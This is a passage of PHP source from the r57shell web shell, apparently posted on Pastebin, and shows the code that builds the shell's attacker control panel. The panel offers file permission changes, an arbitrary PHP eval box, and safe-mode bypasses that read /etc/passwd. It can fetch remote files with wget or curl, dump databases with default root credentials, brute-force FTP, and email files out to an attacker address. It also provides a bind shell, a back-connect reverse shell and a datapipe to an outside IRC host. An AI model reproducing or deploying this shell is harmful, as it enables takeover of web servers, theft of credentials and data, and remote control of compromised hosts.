  2096. echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2097. echo $te.'</div>'.$table_end1.$fe;
  2098. }
  2099. if(!$safe_mode){
  2100. foreach ($aliases as $alias_name=>$alias_cmd)
  2101. {
  2102. $aliases2 .= "<option>$alias_name</option>";
  2103. }
  2104. echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts;
  2105. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2106. echo $te.'</div>'.$table_end1.$fe;
  2107. }
  2108. echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts;
  2109. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2110. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2111. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  2112. echo $te.'</div>'.$table_end1.$fe;
  2113. if(!$safe_mode && $unix){
  2114. echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts;
  2115. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2116. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2117. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  2118. echo $te.'</div>'.$table_end1.$fe;
  2119. }
  2120. echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font;
  2121. echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
  2122. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
  2123. echo "</textarea>";
  2124. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  2125. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  2126. echo "</div></div></font>";
  2127. echo $table_end1.$fe;
  2128. if($safe_mode&&$curl_on)
  2129. {
  2130. echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts;
  2131. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2132. echo $te.'</div>'.$table_end1.$fe;
  2133. }
  2134. if($safe_mode)
  2135. {
  2136. echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts;
  2137. echo "<table class=table1 width=100% align=center>";
  2138. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2139. echo $te.'</div>'.$table_end1.$fe;
  2140. }
  2141. if($safe_mode&&$mysql_on)
  2142. {
  2143. echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts;
  2144. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
  2145. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2146. echo $te.'</div>'.$table_end1.$fe;
  2147. }
  2148. if($safe_mode&&$mssql_on)
  2149. {
  2150. echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts;
  2151. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
  2152. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2153. echo $te.'</div>'.$table_end1.$fe;
  2154. }
  2155. if(@ini_get('file_uploads')){
  2156. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  2157. echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts;
  2158. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,''));
  2159. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  2160. echo $te.'</div>'.$table_end1.$fe;
  2161. }
  2162. if(!$safe_mode&&!$windows){
  2163. echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts;
  2164. echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  2165. echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  2166. echo $te.'</div>'.$table_end1.$fe;
  2167. }
  2168. echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts;
  2169. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  2170. $arh = $lang[$language.'_text92'];
  2171. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
  2172. if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  2173. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  2174. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
  2175. echo $te.'</div>'.$table_end1.$fe;
  2176. if(@function_exists("ftp_connect")){
  2177. echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2178. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  2179. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  2180. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  2181. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  2182. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  2183. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2184. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  2185. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  2186. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  2187. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  2188. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  2189. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  2190. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  2191. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2192. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  2193. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  2194. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  2195. echo $te."</td>".$fe."</tr></div></table>";
  2196. }
  2197. if($unix && @function_exists("ftp_connect")){
  2198. echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts;
  2199. echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2200. echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
  2201. echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
  2202. echo $te.'</div>'.$table_end1.$fe;
  2203. }
  2204. if(@function_exists("mail")){
  2205. echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts;
  2206. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  2207. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  2208. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  2209. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  2210. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  2211. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2212. echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;
  2213. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  2214. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  2215. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  2216. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
  2217. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir));
  2218. $arh = $lang[$language.'_text92'];
  2219. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
  2220. if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  2221. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  2222. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh);
  2223. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  2224. echo $te."</td>".$fe."</tr></div></table>";
  2225. }
  2226. if($mysql_on||$mssql_on||$pg_on||$ora_on)
  2227. {
  2228. $select = '<select name=db>';
  2229. if($mysql_on) $select .= '<option>MySQL</option>';
  2230. if($mssql_on) $select .= '<option>MSSQL</option>';
  2231. if($pg_on) $select .= '<option>PostgreSQL</option>';
  2232. if($ora_on) $select .= '<option>Oracle</option>';
  2233. $select .= '</select>';
  2234. echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  2235. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text77']."</div></b></font>";
  2236. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2237. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2238. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2239. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2240. echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
  2241. echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1'));
  2242. echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7']));
  2243. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2244. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>";
  2245. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2246. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2247. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2248. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2249. echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  2250. echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  2251. echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1'));
  2252. echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  2253. echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9']));
  2254. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2255. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  2256. echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  2257. echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  2258. echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  2259. echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  2260. echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  2261. echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  2262. echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";
  2263. }
  2264. if(!$safe_mode&&!$windows){
  2265. echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;
  2266. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  2267. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457'));
  2268. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));
  2269. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2270. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  2271. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2272. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  2273. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  2274. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
  2275. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  2276. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  2277. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  2278. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  2279. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457'));
  2280. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));
  2281. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));
  2282. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  2283. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  2284. echo $te."</td>".$fe."</tr></div></table>";
  2285. }
  2286. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://www.r57c99.com>http://www.r57c99.com</a> | <a href=http://www.r57c99.com>r57shell</a> | version ".$version." ]---o</b></font></div></td></tr></table>".$f;
  2287. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!